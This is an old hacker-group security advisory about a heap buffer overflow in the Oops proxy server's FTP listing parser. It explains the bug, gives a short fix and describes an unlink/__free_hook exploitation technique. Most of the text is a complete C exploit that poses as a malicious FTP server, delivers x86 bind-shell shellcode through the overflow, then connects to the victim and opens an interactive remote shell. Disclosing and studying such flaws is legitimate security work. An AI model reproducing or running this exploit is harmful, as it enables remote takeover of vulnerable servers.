pkc001.txt

`/* pkc001.txt */  
  
-=[ SECURITY ADVISORY #001 ]=-  
  
_____________ _______  
| \ [www.pkcrew.org] / \  
\ | ______ / ___ \  
| | |_ _| ___ | / \___|  
| | | | / _| | |  
| _______/ | | / / | |  
| / | _ < | | ___  
| | [PkC] | | \ \ | \_____/ |  
_| |_ _| |_ \ \_ \ |  
|_______| |______| |____| \__________/  
  
[ Packet Knights Crew ]  
  
-=[ SECURITY ADVISORY #001 ]=-  
  
  
  
http://www.pkcrew.org  
  
Author : |CyRaX| <[email protected]>  
  
Application : Oops proxy server 1.4.22 1.4.6 and maybe prior  
  
Type: heap buffer overflow  
  
--- The problem ---  
  
Function list_parser in ftp_utils.c :  
  
line is the line sent by the ftp server in result of a list command  
  
tempbuf = xmalloc(strlen(line)*3 + strlen(myhostname) + dovesok , [...]);  
p is the line without the filename  
  
htmlized_something = html_escaping(p);  
  
and this is the vulnerable sprintf  
  
sprintf(tempbuf, "<img src=\"http://%s:%s/%s/%s\" alt=\"%s\">%s ",  
icons_host[0]?icons_host:myhostname,  
icons_port[0]?icons_port:"80",  
icons_path[0]?icons_path:"icons",  
icons[type],  
alts[type],  
htmlized_something);  
  
well.. as you can see tempbuf allocs strlen(line)*3. The probably tougth  
that the htmlizing of the line can give just a string 3 times bigger than  
the line. But if you look at html_escaping code you see that he translates  
" into " . So putting a large amount of " in the line we can overflow  
tempbuf.  
  
--- The Solution ---  
  
Well.. a quick fix could be just changing the alloc line into:  
  
tempbuf=xmalloc(strlen(line)*6+strlen(myhostname)+dovesok, [..];  
  
but you can save more memory allocating tempbuf after the html_escaping.  
Anyway.. the authors were contacted and they're fixing it in a better way.  
  
--- How to exploit this ---  
  
As demostrated by the traceroute and slocate exploits, it's possibile to  
overwrite a function pointer modifing a malloc chunk.  
And in this case, after the tempbuf buffer, there is the chunk of  
htmlized_something. So the exploit have to overwrite it, set the the size to   
0xffffffff to make it a free chunk, put the address of the shellcode into fd  
and the address of the target function pointer into bd (-8), and when the  
free() will call the unlink it will put the shellcode address into  
__free_hook. The problem of the exploit is that we must compute exactly the  
length of tempbuf and hope that malloc will not give it a bigger length,  
overwrite perfectly the chunk, know exactly the address of __free_hook and the  
address of the shellcode.  
As you can see the bigger problem is the shellcode. We can't simply put a  
(not too) large amount of nop, cause the unlink will fill the zone near the  
one pointed by __free_hook with the address of it.. (so.. some illegal  
instrunctions) and the shellcode have to jump them. If instead you point to a  
nop the other nops after that will be overwritten by the unlink() and will  
result in SIGILL.  
So.. this is very hard to exploit.. anyway it's possible..  
I include an example exploit that worked on my slackware 7.0  
  
/* pkc001.txt */  
  
--- PKCoops-ex.c  
  
/* Dimostrative Exploit Against Oops Proxy Server v 1.4.22 and prior  
* Coded by |CyRaX| <[email protected]>  
* Packet Knights Crew : www.pkcrew.org  
* Tested on Slackware 7.0  
*  
* Greetz : all the bros of pkc, expecially recidjvo,asynchro & cthulhu  
* LordFelix & bikappa : for some hints about heap overflow  
* BlackBerry , Nobody88, sMAV, Mav, Mr^Moon and all the others  
*/  
  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <netinet/in.h>  
#include <sys/types.h>  
  
#define ALIGN 0  
#define __FREE_HOOK 0x40175994  
#define SHELLCODE 0x80b1223  
  
  
char c0de[]="\xeb\x0b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"  
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"  
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"  
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"  
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"  
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"  
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"  
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";  
  
  
int main(int argc,char **argv){  
int s,s2,clnsock,i;  
struct sockaddr_in srv,clt;  
char buff[500],sndbuff[1500],magic[1000],magic2[50],magic3[5000];  
unsigned long ip;  
int h1,h2,h3,h4,p1,p2;  
u_short port;  
int passive=0,tmplen,wrtlen;  
struct malloc_chunk{  
unsigned int ps;  
unsigned int sz;  
struct malloc_chunk *fd;  
struct malloc_chunk *bd;  
}mc;  
fd_set setz;  
  
mc.ps=0xffffffff & ~1;  
mc.sz=0xffffffff;  
mc.fd=(struct malloc_chunk *)(SHELLCODE); /* shellcode pointer */  
mc.bd=(struct malloc_chunk *)(__FREE_HOOK-8); /* target pointer */  
memset(magic2,0x41,0);  
memcpy(magic2+0,&mc,sizeof(mc));  
  
memset(magic3,'\x90',50);  
memcpy(magic3+50,c0de,strlen(c0de));  
magic3[50+strlen(c0de)]=0;  
  
if(argc<4){  
printf("Proof exploit against oops proxy server heap buffer overflow!\n");  
printf("by |CyRaX| <[email protected]>\n");  
printf("Member Of Packet Knights Crew - http://www.pkcrew.org\n");  
printf("Usage ./oopsexp <your_ip> <victim ip> <hostname len>\n");  
printf("your ip: it is necessary for the passive mode\n");  
printf("hostname len is the len of the host that he *thinks* to have\n");  
printf(" for example if the hostname is c500 you must put 4 here\n");  
  
exit(0);  
}  
printf("now set the victim as your proxy in any web browser and go to\n");  
printf("ftp://<your_ip>\n");  
  
for(i=0;i<strlen(argv[1]);i++)if(argv[1][i]=='.')argv[1][i]=',';  
  
  
s=socket(AF_INET,SOCK_STREAM,0);  
srv.sin_addr.s_addr=INADDR_ANY;  
srv.sin_port=htons(21);  
srv.sin_family=AF_INET;  
if(bind(s,(struct sockaddr *)&srv,sizeof(srv))<0){  
printf("cannot bind to port 21 !\n");  
exit(0);  
}  
listen(s,1);  
clnsock=accept(s,(struct sockaddr *)&clt,sizeof(clt));  
close(s);  
strcpy(buff,"220 exploit is here :)\r\n");  
send(clnsock,buff,strlen(buff),0);  
recv(clnsock,buff,500,0);  
strcpy(buff,"331 any pass is good d00d\r\n");  
send(clnsock,buff,strlen(buff),0);  
recv(clnsock,buff,500,0);  
strcpy(buff,"230 oky d00d.. login done!\r\n");  
send(clnsock,buff,strlen(buff),0);  
while(1){  
memset(buff,0,500);  
if(recv(clnsock,buff,500,0)<0)break;  
if(strstr(buff,"SYST")){  
strcpy(sndbuff,"215 UNIX Type: L8\r\n");  
send(clnsock,sndbuff,strlen(sndbuff),0);  
}  
if(strstr(buff,"PASV")){  
srv.sin_port=htons(1322);  
if(passive==0){  
s=socket(AF_INET,SOCK_STREAM,0);  
if(bind(s,(struct sockaddr *)&srv,sizeof(srv))<0){  
printf("cannot bind to port 1322 for passive mode!\n");  
exit(0);  
}  
listen(s,4);  
passive=1;  
}  
else {  
close(s2);  
}  
sprintf(sndbuff,"227 Entering Passive Mode (%s,5,42)\r\n",argv[1]);  
send(clnsock,sndbuff,strlen(sndbuff),0);  
}  
if(strstr(buff,"TYPE")){  
strcpy(sndbuff,"200 vabbuo' vabbuo'\r\n");  
send(clnsock,sndbuff,strlen(sndbuff),0);  
}  
if(strstr(buff,"NLST")){  
if(passive){  
s2=accept(s,NULL,NULL);  
strcpy(sndbuff,"150 Opening ASCII mode data connection for file list.\r\n");  
send(clnsock,sndbuff,strlen(sndbuff),0);  
sprintf(sndbuff,"%s\r\n",magic3);  
send(s2,sndbuff,strlen(sndbuff),0);  
close(s2);  
strcpy(sndbuff,"226 Transfer complete.!\r\n");  
send(clnsock,sndbuff,strlen(sndbuff),0);  
  
}  
}  
  
if(strstr(buff,"LIST")){  
strcpy(sndbuff,"150 vieni pure amore!\r\n");  
s2=accept(s,NULL,NULL);  
  
/* HOW MANY BYTES TO WRITE COMPUTING */  
tmplen=0;  
tmplen=strlen("Arwxrwxrwx rooOOOt \r\n ")*3+strlen(magic2)*3+  
strlen(magic3)*3;  
tmplen=tmplen+128; /* dovesok */  
tmplen=tmplen+atoi(argv[3]);  
tmplen+=10;  
wrtlen=strlen("<img src=\"http://:80/icons/unknown.gif\">"  
"alt=\"[Unkn] \" ")+atoi(argv[3]);  
wrtlen=wrtlen+strlen("Arwxrwxrwx rooOOOt \r\n")+strlen(magic2);  
i=0;  
  
while((wrtlen-tmplen)<16){  
magic[i]='"';  
tmplen+=3; /* 1 *3 */  
wrtlen+=6; /* " */  
i++;  
}  
magic[i]=0;  
printf("ora tmplen %i | wrtlen %i\n",tmplen,wrtlen);  
  
  
memset(sndbuff,0,1500);  
snprintf(sndbuff,6000,"Arwxrwxrwx rooOOOt %s %s 2000 %s\r\n",  
magic,  
magic2,  
magic3);  
  
send(s2,sndbuff,3000,0);  
strcpy(sndbuff,"226 Ho finito\r\n");  
send(clnsock,sndbuff,strlen(sndbuff),0);  
shutdown(s2,2);  
printf("closed!\n");  
sleep(5);  
s2=socket(AF_INET,SOCK_STREAM,0);  
clt.sin_addr.s_addr=inet_addr(argv[2]);  
clt.sin_port=htons(3879);  
clt.sin_family=AF_INET;  
if(connect(s2,(struct sockaddr *)&clt,sizeof(clt))!=0){  
printf("SORRY.. it didn't work!\n");  
exit(0);  
}  
strcpy(sndbuff,"uname -a;id\n");  
send(s2,sndbuff,strlen(sndbuff),0);  
while(1){  
FD_ZERO(&setz);  
FD_SET(0,&setz);  
FD_SET(s2,&setz);  
select(s2+1,&setz,NULL,NULL,NULL);  
if(FD_ISSET(0,&setz)){  
memset(sndbuff,0,sizeof(sndbuff));  
fgets(sndbuff,sizeof(sndbuff),stdin);  
send(s2,sndbuff,strlen(sndbuff),0);  
}  
if(FD_ISSET(s2,&setz)){  
memset(sndbuff,0,sizeof(sndbuff));  
recv(s2,sndbuff,sizeof(sndbuff),0);  
printf("%s",sndbuff);  
}  
}  
}  
if(strstr(buff,"CWD")){  
strcpy(sndbuff,"250 SUUU.. FATTI SOTTO !\r\n");  
send(clnsock,sndbuff,strlen(sndbuff),0);  
}  
if(strstr(buff,"PWD")){  
strcpy(sndbuff,"257 \"/\" ti stai cagando sotto eh ?!\r\n");  
send(clnsock,sndbuff,strlen(sndbuff),0);  
}  
if(strstr(buff,"QUIT")){  
close(clnsock);  
}  
}  
close(clnsock);  
close(s);  
close(s2);  
}  
  
--- PKCoops-ex.c  
`